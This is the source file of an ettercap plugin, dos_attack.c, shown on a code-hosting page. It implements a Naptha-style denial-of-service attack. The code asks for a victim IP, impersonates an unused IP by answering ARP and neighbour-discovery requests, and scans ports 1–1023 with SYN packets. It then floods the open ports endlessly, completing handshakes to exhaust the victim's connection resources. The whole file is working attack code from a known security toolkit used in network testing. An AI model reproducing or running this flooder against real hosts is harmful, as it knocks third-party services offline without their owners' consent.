-
Notifications
You must be signed in to change notification settings - Fork 482
/
dos_attack.c
267 lines (206 loc) · 7.49 KB
/
dos_attack.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
/*
dos_attack -- ettercap plugin -- Run a D.O.S. attack (based on Naptha)
Copyright (C) ALoR & NaGA
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#include <ec.h> /* required for global variables */
#include <ec_plugins.h> /* required for plugin ops */
#include <ec_hook.h>
#include <ec_packet.h>
#include <ec_send.h>
#include <ec_threads.h>
#include <ec_sleep.h>
/* protos */
int plugin_load(void *);
static int dos_attack_init(void *);
static int dos_attack_fini(void *);
static int dos_attack_unload(void *);
static void parse_arp(struct packet_object *po);
#ifdef WITH_IPV6
static void parse_icmp6(struct packet_object *po);
#endif
static void parse_tcp(struct packet_object *po);
EC_THREAD_FUNC(syn_flooder);
struct port_list {
u_int16 port;
SLIST_ENTRY(port_list) next;
};
/* globals */
static struct ip_addr fake_host;
static struct ip_addr victim_host;
SLIST_HEAD(, port_list) port_table;
/* plugin operations */
struct plugin_ops dos_attack_ops = {
/* ettercap version MUST be the global EC_VERSION */
.ettercap_version = EC_VERSION,
/* the name of the plugin */
.name = "dos_attack",
/* a short description of the plugin (max 50 chars) */
.info = "Run a d.o.s. attack against an IP address",
/* the plugin version. */
.version = "1.0",
/* activation function */
.init = &dos_attack_init,
/* deactivation function */
.fini = &dos_attack_fini,
/* clean-up function */
.unload = &dos_attack_unload,
};
/**********************************************************/
/* this function is called on plugin load */
int plugin_load(void *handle)
{
return plugin_register(handle, &dos_attack_ops);
}
/******************* STANDARD FUNCTIONS *******************/
static int dos_attack_init(void *dummy)
{
char dos_addr[MAX_ASCII_ADDR_LEN];
char unused_addr[MAX_ASCII_ADDR_LEN];
struct port_list *p;
/* variable not used */
(void) dummy;
/* It doesn't work if unoffensive */
if (EC_GBL_OPTIONS->unoffensive) {
INSTANT_USER_MSG("dos_attack: plugin doesn't work in UNOFFENSIVE mode\n");
return PLUGIN_FINISHED;
}
/* don't show packets while operating */
EC_GBL_OPTIONS->quiet = 1;
memset(dos_addr, 0, sizeof(dos_addr));
memset(unused_addr, 0, sizeof(dos_addr));
ui_input("Insert victim IP: ", dos_addr, sizeof(dos_addr), NULL);
if (ip_addr_pton(dos_addr, &victim_host) == -E_INVALID) {
INSTANT_USER_MSG("dos_attack: Invalid IP address.\n");
return PLUGIN_FINISHED;
}
ui_input("Insert unused IP: ", unused_addr, sizeof(unused_addr), NULL);
if (ip_addr_pton(unused_addr, &fake_host) == -E_INVALID) {
INSTANT_USER_MSG("dos_attack: Invalid IP address.\n");
return PLUGIN_FINISHED;
}
if(victim_host.addr_type != fake_host.addr_type) {
INSTANT_USER_MSG("dos_attack: Address' families don't match.\n");
return PLUGIN_FINISHED;
}
INSTANT_USER_MSG("dos_attack: Starting scan against %s [Fake Host: %s]\n", dos_addr, unused_addr);
/* Delete the "open" port list just in case of previous executions */
while (!SLIST_EMPTY(&port_table)) {
p = SLIST_FIRST(&port_table);
SLIST_REMOVE_HEAD(&port_table, next);
SAFE_FREE(p);
}
/* Add the hook to "create" the fake host */
if(ntohs(fake_host.addr_type) == AF_INET)
hook_add(HOOK_PACKET_ARP_RQ, &parse_arp);
#ifdef WITH_IPV6
else if(ntohs(fake_host.addr_type) == AF_INET6)
hook_add(HOOK_PACKET_ICMP6_NSOL, &parse_icmp6);
#endif
/* Add the hook for SYN-ACK reply */
hook_add(HOOK_PACKET_TCP, &parse_tcp);
/* create the flooding thread */
ec_thread_new("golem", "SYN flooder thread", &syn_flooder, NULL);
return PLUGIN_RUNNING;
}
static int dos_attack_fini(void *dummy)
{
pthread_t pid;
/* variable not used */
(void) dummy;
/* Remove the hooks */
hook_del(HOOK_PACKET_ARP_RQ, &parse_arp);
hook_del(HOOK_PACKET_TCP, &parse_tcp);
pid = ec_thread_getpid("golem");
/* the thread is active or not ? */
if (!pthread_equal(pid, ec_thread_getpid(NULL)))
ec_thread_destroy(pid);
INSTANT_USER_MSG("dos_attack: plugin terminated...\n");
return PLUGIN_FINISHED;
}
static int dos_attack_unload(void *dummy)
{
/* variable not used */
(void) dummy;
return PLUGIN_UNLOADED;
}
/*********************************************************/
/*
* This thread first sends SYN packets to some ports (a little port scan)
* then starts to flood active ports with other SYN packets.
*/
EC_THREAD_FUNC(syn_flooder)
{
u_int16 sport = 0xe77e, dport;
u_int32 seq = 0xabadc0de;
struct port_list *p;
/* variable not used */
(void) EC_THREAD_PARAM;
/* init the thread and wait for start up */
ec_thread_init();
/* First "scan" ports from 1 to 1024 */
for (dport=1; dport<1024; dport++) {
send_tcp(&fake_host, &victim_host, sport++, htons(dport), seq++, 0, TH_SYN, NULL, 0);
ec_usleep(1000);
}
INSTANT_USER_MSG("dos_attack: Starting attack...\n");
/* Continue flooding open ports */
LOOP {
CANCELLATION_POINT();
SLIST_FOREACH(p, &port_table, next)
send_tcp(&fake_host, &victim_host, sport++, p->port, seq++, 0, TH_SYN, NULL, 0);
ec_usleep(1000);
}
return NULL;
}
/* Parse the arp packets and reply for the fake host */
static void parse_arp(struct packet_object *po)
{
if (!ip_addr_cmp(&fake_host, &po->L3.dst))
send_arp(ARPOP_REPLY, &po->L3.dst, EC_GBL_IFACE->mac, &po->L3.src, po->L2.src);
}
#ifdef WITH_IPV6
static void parse_icmp6(struct packet_object *po)
{
struct ip_addr ip;
ip_addr_init(&ip, AF_INET6, po->L4.options);
if(!ip_addr_cmp(&fake_host, &ip))
send_L2_icmp6_nadv(&fake_host, &po->L3.src, EC_GBL_IFACE->mac, 0, po->L2.src);
}
#endif
/*
* Populate the open port list and reply to
* SYN-ACK packets from victim host
*/
static void parse_tcp(struct packet_object *po)
{
struct port_list *p;
/* Check if it's a reply to our SYN flooding */
if (ip_addr_cmp(&fake_host, &po->L3.dst) ||
ip_addr_cmp(&victim_host, &po->L3.src) ||
po->L4.flags != (TH_SYN | TH_ACK))
return;
/* Complete the handshake with an ACK */
send_tcp(&fake_host, &victim_host, po->L4.dst, po->L4.src, po->L4.ack, htonl( ntohl(po->L4.seq) + 1), TH_ACK, NULL, 0);
/* Check if the port is already in the "open" list... */
SLIST_FOREACH(p, &port_table, next)
if (p->port == po->L4.src)
return;
/* If not...put it in */
SAFE_CALLOC(p, 1, sizeof(struct port_list));
p->port = po->L4.src;
SLIST_INSERT_HEAD(&port_table, p, next);
INSTANT_USER_MSG("dos_attack: Port %d added\n", ntohs(p->port));
}
/* EOF */
// vim:ts=3:expandtab